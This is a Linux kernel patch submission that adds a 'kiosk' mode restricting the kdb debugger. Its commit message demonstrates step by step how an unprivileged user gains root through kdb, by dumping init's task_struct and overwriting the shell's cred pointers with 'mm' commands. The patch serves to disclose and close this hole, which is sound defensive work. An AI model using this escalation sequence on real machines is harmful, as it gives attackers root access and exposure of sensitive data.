[RFC v2 08/10] kdb: Add kiosk mode

[Daniel Thompson]

From: Anton Vorontsov <anton.vorontsov@xxxxxxxxxx>

By issuing 'echo 1 > /sys/module/kdb/parameters/kiosk' or
booting with kdb.kiosk=1 kernel command line option, one can still have
a somewhat usable debugging facility, but not fearing that the
debugger can be used to easily gain root access or dump sensitive data.

Without the kiosk mode, obtaining the root rights via KDB is a matter of
a few commands, and works everywhere. For example, log in as a normal
user:

cbou:~$ id
uid=1001(cbou) gid=1001(cbou) groups=1001(cbou)

Now enter KDB (for example via sysrq):

Entering kdb (current=0xffff8800065bc740, pid 920) due to Keyboard Entry
kdb> ps
23 sleeping system daemon (state M) processes suppressed,
use 'ps A' to see all.
Task Addr               Pid   Parent [*] cpu State Thread             Command
0xffff8800065bc740      920      919  1    0   R  0xffff8800065bca20 *bash

0xffff880007078000        1        0  0    0   S  0xffff8800070782e0  init
[...snip...]
0xffff8800065be3c0      918        1  0    0   S  0xffff8800065be6a0  getty
0xffff8800065b9c80      919        1  0    0   S  0xffff8800065b9f60  login
0xffff8800065bc740      920      919  1    0   R  0xffff8800065bca20 *bash

All we need is the offset of cred pointers. We can look up the offset in
the distro's kernel source, but it is unnecessary. We can just start
dumping init's task_struct, until we see the process name:

kdb> md 0xffff880007078000
0xffff880007078000 0000000000000001 ffff88000703c000   ................
0xffff880007078010 0040210000000002 0000000000000000   .....!@.........
[...snip...]
0xffff8800070782b0 ffff8800073e0580 ffff8800073e0580   ..>.......>.....
0xffff8800070782c0 0000000074696e69 0000000000000000   init............

^ Here, 'init'. Creds are just above it, so the offset is 0x02b0.

Now we set up init's creds for our non-privileged shell:

kdb> mm 0xffff8800065bc740+0x02b0 0xffff8800073e0580
0xffff8800065bc9f0 = 0xffff8800073e0580
kdb> mm 0xffff8800065bc740+0x02b8 0xffff8800073e0580
0xffff8800065bc9f8 = 0xffff8800073e0580

And thus gaining the root:

kdb> go
cbou:~$ id
uid=0(root) gid=0(root) groups=0(root)
cbou:~$ bash
root:~#

p.s. No distro enables kdb by default (although, with a nice KDB-over-KMS
feature availability, I would expect at least some would enable it), so
it's not actually some kind of a major issue.

Signed-off-by: Anton Vorontsov <anton.vorontsov@xxxxxxxxxx>
Signed-off-by: John Stultz <john.stultz@xxxxxxxxxx>
Signed-off-by: Daniel Thompson <daniel.thompson@xxxxxxxxxx>
---
 include/linux/kdb.h         |  1 +
 kernel/debug/kdb/kdb_main.c | 31 ++++++++++++++++++++++++++++++-
 2 files changed, 31 insertions(+), 1 deletion(-)

diff --git a/include/linux/kdb.h b/include/linux/kdb.h
index 784b22f..cc5ece9 100644
--- a/include/linux/kdb.h
+++ b/include/linux/kdb.h
@@ -63,6 +63,7 @@ extern atomic_t kdb_event;
 #define KDB_BADLENGTH	(-19)
 #define KDB_NOBP	(-20)
 #define KDB_BADADDR	(-21)
+#define KDB_NOPERM	(-22)
 
 /*
  * kdb_diemsg
diff --git a/kernel/debug/kdb/kdb_main.c b/kernel/debug/kdb/kdb_main.c
index 0205e4a..808bf55 100644
--- a/kernel/debug/kdb/kdb_main.c
+++ b/kernel/debug/kdb/kdb_main.c
@@ -12,6 +12,7 @@
  */
 
 #include <linux/ctype.h>
+#include <linux/types.h>
 #include <linux/string.h>
 #include <linux/kernel.h>
 #include <linux/kmsg_dump.h>
@@ -23,6 +24,7 @@
 #include <linux/vmalloc.h>
 #include <linux/atomic.h>
 #include <linux/module.h>
+#include <linux/moduleparam.h>
 #include <linux/mm.h>
 #include <linux/init.h>
 #include <linux/kallsyms.h>
@@ -42,6 +44,12 @@
 #include <linux/slab.h>
 #include "kdb_private.h"
 
+#undef	MODULE_PARAM_PREFIX
+#define	MODULE_PARAM_PREFIX "kdb."
+
+static bool kdb_kiosk;
+module_param_named(kiosk, kdb_kiosk, bool, 0600);
+
 #define GREP_LEN 256
 char kdb_grep_string[GREP_LEN];
 int kdb_grepping_flag;
@@ -121,6 +129,7 @@ static kdbmsg_t kdbmsgs[] = {
 	KDBMSG(BADLENGTH, "Invalid length field"),
 	KDBMSG(NOBP, "No Breakpoint exists"),
 	KDBMSG(BADADDR, "Invalid address"),
+	KDBMSG(NOPERM, "Permission denied"),
 };
 #undef KDBMSG
 
@@ -476,6 +485,14 @@ int kdbgetaddrarg(int argc, const char **argv, int *nextarg,
 	kdb_symtab_t symtab;
 
 	/*
+	 * In kiosk mode there's no arbitrary memory access (only
+	 * pre-canned status commands) thus no reasonable need for
+	 * symbol lookup.
+	 */
+	if (kdb_kiosk)
+		return KDB_NOPERM;
+
+	/*
 	 * Process arguments which follow the following syntax:
 	 *
 	 *  symbol | numeric-address [+/- numeric-offset]
@@ -1007,6 +1024,14 @@ int kdb_parse(const char *cmdstr)
 
 	if (i < kdb_max_commands) {
 		int result;
+
+		if (kdb_kiosk) {
+			if (!(tp->cmd_flags & (KDB_SAFE | KDB_SAFE_NO_ARGS)))
+				return KDB_NOPERM;
+			if (tp->cmd_flags & KDB_SAFE_NO_ARGS && argc > 1)
+				return KDB_NOPERM;
+		}
+
 		KDB_STATE_SET(CMD);
 		result = (*tp->cmd_func)(argc-1, (const char **)argv);
 		if (result && ignore_errors && result > KDB_CMD_GO)
@@ -1915,13 +1940,17 @@ static int kdb_rm(int argc, const char **argv)
  * kdb_sr - This function implements the 'sr' (SYSRQ key) command
  *	which interfaces to the soi-disant MAGIC SYSRQ functionality.
  *		sr <magic-sysrq-code>
+ *
+ *      Normally this command bypasses the SYSRQ enables tests, however
+ *      when kiosk mode is engaged certain SYSRQ commands can be masked
+ *      out.
  */
 static int kdb_sr(int argc, const char **argv)
 {
 	if (argc != 1)
 		return KDB_ARGCOUNT;
 	kdb_trap_printk++;
-	__handle_sysrq_nolock(*argv[1], false);
+	__handle_sysrq_nolock(*argv[1], kdb_kiosk);
 	kdb_trap_printk--;
 
 	return 0;
-- 
1.9.0

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